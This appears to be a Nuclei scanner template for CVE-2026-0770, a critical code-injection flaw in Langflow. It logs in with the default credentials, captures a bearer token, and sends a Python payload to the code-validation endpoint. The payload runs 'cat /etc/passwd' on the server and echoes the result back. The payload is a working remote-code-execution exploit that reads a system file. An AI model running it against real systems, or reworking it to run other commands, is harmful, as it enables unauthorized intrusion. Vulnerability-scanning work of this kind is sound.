id: CVE-2026-0770 info: name: "Langflow - Code Injection" author: vedas-arpsyndicate severity: critical description: | Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. reference: - https://www.exploit.observer/?keyword=CVE-2026-0770&match=exact - https://subdomain.center/?engine=ammonites&keyword=langflow&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-0770 cwe-id: CWE-94 metadata: verified: false tags: cve,cve2026,langflow,rce,authenticated,vuln,vkev,kev variables: username: "langflow" password: "langflow" flow: http(1) && http(2) http: - raw: - | POST /api/v1/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}} matchers-condition: and matchers: - type: word words: - "access_token" - "token_type" condition: and internal: true - type: word part: content_type words: - "application/json" internal: true - type: status status: - 200 internal: true extractors: - type: regex name: token part: body group: 1 internal: true regex: - '"access_token"\s*:\s*"([^"]+)"' - raw: - | POST /api/v1/validate/code HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{token}} {"code":"\ndef exploit(\n _=( lambda r: (_ for _ in ()).throw(Exception(f\"OUTPUT:\\n{r.stdout}{r.stderr}\")) )(\n __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\n )\n):\n pass\n"} matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: word part: content_type words: - "application/json" - type: status status: - 200